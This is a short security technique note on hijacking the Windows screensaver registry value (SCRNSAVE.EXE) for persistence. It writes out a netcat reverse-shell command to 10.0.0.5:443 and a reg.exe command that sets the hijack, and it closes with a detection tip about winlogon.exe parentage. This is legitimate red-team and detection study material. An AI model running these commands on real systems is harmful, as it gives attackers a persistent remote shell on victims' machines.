Hijacking screensaver for persistence.
To achieve persistence, the attacker can modify
SCRNSAVE.EXE value in the registry
HKCU\Control Panel\Desktop\ and change its data to point to any malicious file.
In this test, I will use a netcat reverse shell as my malicious payload:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe
Let's update the registry:
The same could be achieved using a native Windows binary reg.exe:
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\shell.cmd
Note the process ancestry on the victim system - the reverse shell process traces back to winlogon.exe as the parent process, which is responsible for managing user logons/logoffs. This is highly suspect and should warrant a further investigation: